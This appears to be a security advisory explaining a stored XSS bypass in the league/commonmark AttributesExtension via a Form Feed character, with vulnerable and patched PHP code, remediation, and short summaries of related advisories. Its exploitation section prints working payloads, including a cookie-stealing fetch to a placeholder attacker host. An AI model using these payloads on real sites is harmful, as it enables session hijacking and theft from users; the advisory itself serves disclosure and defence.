Sep 2, 2026·7 min read·1 visit
A validation mismatch between PHP's regex matching and native trimming permits the Form Feed character (\x0C) to survive attribute parsing. Browsers treat this character as whitespace, translating bypassed attributes into executable javascript handlers.
An inconsistency in whitespace handling between the PCRE regex engine, PHP's native trim function, and web browsers allows unauthenticated attackers to bypass XSS protections in the league/commonmark AttributesExtension by injecting a Form Feed (U+000C) control character.
The league/commonmark library is a widely utilized PHP package designed to parse Markdown specifications into safe HTML. It exposes an optional AttributesExtension that allows content authors to append attributes, such as classes, identifiers, and custom values, directly to Markdown elements using curly-brace expressions. When accepting input from untrusted sources, security teams rely on internal sanitization logic in this extension to block malicious event handlers and unsafe URI schemes.
A significant security gap exists within the filter validation of the AttributesExtension. A remote attacker can construct a payload containing a leading control byte, specifically the Form Feed character (U+000C), prefixing an attribute name. Due to an validation inconsistency, the malicious attribute bypasses the XSS defense layer, is serialized into the raw HTML, and is executed by downstream browsers.
The vulnerability affects all deployments running versions 2.7.0 up to 2.9.0 where the AttributesExtension is active and handles user-controlled Markdown input. Applications processing comments, profile information, or user documents are directly vulnerable to persistent Cross-Site Scripting (XSS).
The core flaw lies in a structural parser differential involving the PHP PCRE regular expression engine, PHP's native string manipulation functions, and HTML5 browser tokenizer specifications. The extraction of custom attributes utilizes a regular expression defined by the pattern SINGLE_ATTRIBUTE in AttributesHelper.php. Because this pattern relies on the PCRE character class shorthand \s, it successfully matches the Form Feed control character (\x0C or \f).
After matching, the package parses the attribute using PHP's native trim() function to clean white spaces. When called without a custom character mask, the trim() function removes standard whitespace such as carriage returns, new lines, horizontal tabs, vertical tabs, and spaces. However, the default mask of the trim() function does not match the Form Feed character. Consequently, the leading byte is left attached to the attribute name.
The sanitization blocklist within the helper checks the extracted attribute names using simple string operations like str_starts_with($name, 'on'). Since the parsed attribute name is evaluated as \x0Conclick instead of onclick, the prefix check evaluates to false. The sanitizer permits the attribute, which is eventually serialized into raw output as <p \x0Conclick="alert(1)">. Modern web browsers treat the Form Feed control character as empty whitespace separation, interpreting the string as a functional onclick event handler.
The parser logic prior to version 2.9.1 processed the attribute matches inside a standard while loop within AttributesHelper::parseAttributes(). Below is the vulnerable code segment showing the direct call to the unmasked trim() function:
// Vulnerable implementation in AttributesHelper.php
while ($attribute = \trim((string) $attributeCursor->match('/^' . self::SINGLE_ATTRIBUTE . '/i'))) {
// ... Match parsing and extraction logic ...
if (\strtolower(\trim($name)) === 'class') {
foreach (\array_filter(\explode(' ', \trim($value))) as $class) {
$attributes['class'][] = $class;
}
} else {
$attributes[\trim($name)] = \trim($value); // Vulnerable: \trim() leaves \x0C attached to the name key
}
}The patched implementation resolves the parsing mismatch by introducing a custom WHITESPACE character mask constant that explicitly includes the Form Feed character (\x0C). In addition, the patch adds a strict verification layer verifying that the attribute name is a syntactically valid structure before allowing downstream processing:
// Patched implementation (Commit: dfcdf4554c16aa37c15e3a5ee3243ee26147c239)
private const WHITESPACE = " \t\n\r\0\x0B\x0C"; // Form Feed (\x0C) is now included in the custom trim mask
while ($attribute = \trim((string) $attributeCursor->match('/^' . self::SINGLE_ATTRIBUTE . '/i'), self::WHITESPACE)) {
// ...
if (\strtolower(\trim($name, self::WHITESPACE)) === 'class') {
foreach (\array_filter(\explode(' ', \trim($value, self::WHITESPACE))) as $class) {
$attributes['class'][] = $class;
}
} else {
$attributes[\trim($name, self::WHITESPACE)] = \trim($value, self::WHITESPACE); // Safe: Form Feed is stripped from keys and values
}
}The patch also introduces an active validation check within the filterAttributes() method using the package's existing PARTIAL_ATTRIBUTENAME regular expression. This defensive-in-depth addition ensures that even if other unrecognized non-printable characters survive the initial cleaning, any attribute whose name contains illegal characters is immediately dropped:
// Validation addition inside filterAttributes()
foreach ($attributes as $name => $value) {
if (\preg_match('/^' . RegexHelper::PARTIAL_ATTRIBUTENAME . '$/i', (string) $name) !== 1) {
unset($attributes[$name]); // Drops any attributes containing invalid name syntax
continue;
}
$attrNameLower = \strtolower((string) $name);
// ... Blocklist checks remain ...
}Exploiting this bypass requires that the target web application has enabled the AttributesExtension and outputs parsed HTML without additional context-aware sanitization layers. The attacker crafts Markdown inputs containing the literal Form Feed control character. Since the character is non-printable, it is represented as \x0C or \f in standard exploit payloads.
hello {onclick="alert(document.domain)"}This input renders as <p onclick="alert(document.domain)">hello</p>. When parsed by a browser, the Form Feed functions as an attribute delimiter, rendering the malicious script runnable on interaction. To perform an automated, zero-click attack, the adversary can utilize an image element combined with an onerror handler:
{onerror="fetch('http://malicious.example.com/steal?cookie='+document.cookie)"}Another variation targets links to execute the javascript: protocol. This bypasses typical URL filtering schemes since the injected attribute appears as href, preceding the safe URL generated by the markdown renderer:
[click](https://example.com){href="javascript:alert(1)"}Because the HTML5 standard specifies that the first encountered attribute of the same name overrides subsequent ones, the browser loads the javascript: link rather than the legitimate URL, executing arbitrary client-side code upon clicking.
The security impact of this parser bypass is classified as Cross-Site Scripting (XSS). If successfully exploited, an attacker can execute arbitrary JavaScript code within the context of the victim's browser session. Depending on the design of the hosting platform, this can lead to account hijacking, session theft, and unauthorized actions.
Because the payload is stored inside the target application's database and rendered to other users, it operates as a high-reliability Stored XSS vulnerability. This elevates the danger, as it does not rely on persuading a victim to click an external, suspicious link; standard navigation to a compromised page initiates the execution vector.
The CVSS v3.1 base score is assessed at 5.8 (Medium severity). While the technical exploit guarantees arbitrary execution on the client, the scope remains bounded within the browser's sandbox environment. However, if the web application hosts highly privileged management consoles, exploitation against administrators can compromise the entire underlying platform.
The absolute remediation step is upgrading the league/commonmark package to version 2.9.1 or later. This introduces the custom whitespace cleaning routines and strict regular expression checks that structurally eliminate the bypass vectors. Applications managed via Composer should update the dependencies using standard package manager commands.
composer update league/commonmarkIf upgrading immediately is not technically feasible, security teams can implement defensive workarounds via configuration. Specifying an explicit allowlist of attributes forces the parser to discard any attribute key not present on the whitelist, neutralizing the obfuscated inputs.
$environment = new Environment([
'attributes' => [
'allow' => ['id', 'class', 'style', 'align'] // Only safe attributes allowed
]
]);Additionally, intrusion detection systems (IDS) and Web Application Firewalls (WAF) can scan incoming request bodies for anomalous non-printable bytes within Markdown syntax. Detecting the Form Feed character (\x0C) nested inside curly brace configurations provides a reliable indicator of active exploitation attempts.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
league/commonmark thephpleague | >= 2.7.0, < 2.9.1 | 2.9.1 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 |
| Attack Vector | Network |
| CVSS v3.1 | 5.8 |
| Exploit Status | poc |
| EPSS Score | 0.01 |
| Impact | Stored / Reflected Cross-Site Scripting (XSS) |
The software does not neutralize or incorrectly neutralizes user-controlled input before it is placed in output that is used as a web page that is served to other users.
The league/commonmark library is subject to multiple denial of service vulnerabilities. These stem from three independent algorithmic complexity weaknesses in Markdown parsing: regular expression backtracking, reference link normalization, and delimiter processing. Remote, unauthenticated attackers can exploit these flaws by submitting crafted Markdown input to exhaust CPU execution resources, leading to application-wide thread exhaustion.
GHSA-JJV6-8J6V-6J52 details multiple algorithmic complexity issues in the SmartPunct and Attributes extensions of the league/commonmark PHP library, leading to high CPU consumption and Denial of Service (DoS) when parsing pathological Markdown inputs.
An Untrusted Search Path (CWE-426) vulnerability exists in the Natural Language Toolkit (NLTK) library when executing the Graphviz 'dot' utility. Because the library fails to enforce absolute paths when executing external commands, local attackers can plant a malicious binary named 'dot' inside the current working directory. The library then executes the malicious binary, resulting in local arbitrary code execution under the context of the running Python process.
An algorithmic complexity vulnerability (CWE-407) in the AttributesExtension of league/commonmark allows unauthenticated remote attackers to cause CPU exhaustion and Denial of Service (DoS) via crafted Markdown payloads containing adjacent or consecutive attributes.
A stored Cross-Site Scripting (XSS) vulnerability exists in sanitize-html from version 1.9.0 up to 2.17.6. The flaw permits attackers to bypass scheme-policy enforcement using SVG SMIL animation elements targeting URL attributes with semicolon-separated URI lists.
An algorithmic complexity vulnerability in the python sqlparse library versions before 0.6.0 allows an attacker to cause high CPU usage and denial of service via a crafted SQL statement during formatting.